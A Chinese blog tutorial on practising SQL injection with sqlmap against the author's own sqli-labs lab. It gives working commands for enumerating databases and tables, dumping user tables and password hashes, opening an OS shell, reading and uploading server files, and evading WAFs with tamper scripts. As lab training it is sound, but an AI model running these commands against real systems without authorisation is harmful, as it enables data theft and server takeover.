背景
经常听说sql注入,我们开发程序需要使用预编译,因为我们的sql需要编译才能执行,我们先使用?代替参数,将sql进行编译,然后参数传入过来,如果其中包含非法的语句,因为得不到编译而无法执行,那么如何亲自玩一下sql注入呢?
- 这个文章是接着堡垒机搭建的,所用到的一些工具也可以参照上篇文章进行下载,本文使用sqlmap,对搭建的sql注入平台进行注入练习。
- 打开kali系统,这个系统里有sqlmap环境,可以直接使用,打开终端,输入sqlmap -u sql注入平台的访问地址,例如我的就是http://192.168.220.129/sqli-labs/Less-1/?id=1;回车就会进行执行,如图。
如最后一张图,告诉你sqlmap一共找到的注入点,而且告诉你是用什么方式找到的,比如’ AND 6304=6304 AND ‘IAjH’='IAjH这个注入点,他是使用error-based找到的。 - 这个只是简单的参数注入,当多个参数时需要加双引号如
sqlmap -u "http://192.168.220.129/sqli-labs/Less-1/?id=1&uid=2"
,但是,我们更多的时候还是需要使用上cookie等参数的,这个时候直接使用命令行就不太好了,sqlmap是支持文本注入的,我们可以创建一文本,然后使用命令sqlmap -r 1.txt
,-r一般是存在cookie注入时使用。txt内容如下
运行结果如下
- 通过上面的命令,我们可以知道该网址存在注入,那么我们就可以查询当前用户下的所有数据库,使用命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --dbs
,当我们接下来操作是,–dbs就可以缩写成-D,如下图可看出有8个数据库,可以看出我们堡垒机中创建的数据库基本都被扫描出来了。
- 我们来继续深入,查看security数据库有哪些表使用命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security --tables
,这下我们又成功了,可以看到security下有四张表我们可以继续获取表字段,这时候–tables就可缩写成-T。
- 查看security库中users的表字段,使用命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security -T users --columns
,可以看到该表有三个字段,感觉自己赚到了,一下子找到了用户和密码了,–coumns缩写成-C我们继续。
- 我们继续获取表数据,使用命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 -D security -T users -C username, password --dump
,可以看到会出现下面的结果。
这个不是我们要的结果呀,难道是加密了,不不不,其实是我们命令中password和“,”中有空格,去掉就可以看到正确的结果了。
- 如果这些都是小儿科的,我们还有获取数据库其它用户命令,当然当前用户如果有所有用户的表的权限时才行,使用如下命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --users
,如下图我们有八个用户
- 有了用户还得获取用户密码,使用命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --passwords
,获取的密码是hash,sqlmap提供了破解尝试方案,当然用户可以直接使用mysql
10.5密码在线破解
- 获取当前使用数据库命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --current-db
- 获取当前数据库用户命令
sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1 --current-user
- 上面这些命令基本就是日常使用的了,当然不能少了-level,这个是注入的等级,默认是1,所以我们上面的命令都是在level为1的情况下进行的注入,level一共分5个等级,2级时就可以进行cookie注入,3级时可以进行HTTP User-Agent/Referer注入,如果不知道哪个参数为注入点时,可以使用等级5,速度会很慢,但是很全面。
- 接下来是一堆命令和解释命令前缀都是sqlmap -u http://192.168.220.129/sqli-labs/Less-1/?id=1
命令 | 解释 |
---|---|
–is-dba | 判断当前用户是否是管理员 |
–roles | 列出当前用户可见的管理员角色 |
–referer | 伪造http来源,进行欺骗 |
–sql-shell | 执行自定义sql语句,这个输入完后终端出现等待输入光标,输入完成后分号结尾,回车执行 |
–os-cmd,–os-shell | 模拟一个真实的shell终端,可以执行系统命令,很牛逼的 |
–file-read | 在数据库服务器上读取文件 |
–file-write xxx --file-dest xxxx | 上传文件到数据库服务器上 |
–identify-waf | 检测是否有waf/ids/ips安全防护 |
–tamper 脚本名 | 如果有防护,使用脚本进行修改注入sql绕过检测,比如base64encode.py脚本将sql转为base64编码 |
- 关于脚本的编写,大家可以参考sqlmap自带的脚本来写,自带的脚本在安装目录,如果找不到安装目录,可以使用命令
whereis sqlmap
然后一个路径一个路径的找,我的就是/usr/share/sqlmap路径下的tamper
tamper脚本的基本格式就是priority模块定义优先级防止多个脚本同时使用,dependencies定义什么情况下脚本可以使用,一般空着,tamper(payload,**kwargs)这个是具体的处理逻辑,将出入的payload替换,返回新的payload。
总结
如何谁建的网站没有做sql注入防护,那牛逼了,就等着服务器被别人托管吧,不仅可以改你的数据库,还可以执行系统命令,相当于人家用shell连接你服务器,可不就是托管了,大家还是涨点心吧。